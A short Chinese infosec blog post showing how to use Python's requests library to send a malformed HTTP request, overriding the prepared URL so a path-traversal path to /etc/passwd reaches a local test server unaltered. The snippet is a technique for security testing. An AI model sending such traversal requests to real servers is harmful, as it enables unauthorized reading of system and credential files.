Neurohazard
暮雲煙月,皓首窮經;森羅萬象,如是我聞。

Python requests 构造畸形 HTTP 请求

wpadmin~August 11, 2020 /InfoSec

Python requests 构造畸形 HTTP 请求

正文

import requests

s = requests.session()
req =  requests.Request('PUT',"http://127.0.0.1:54321")
req.url = "http://127.0.0.1:54321/../../../../etc/passwd"
prepared = req.prepare()
prepared.url = "http://127.0.0.1:54321/../../../../etc/passwd"
s.send(prepared)

Leave a Reply

Your email address will not be published. Required fields are marked *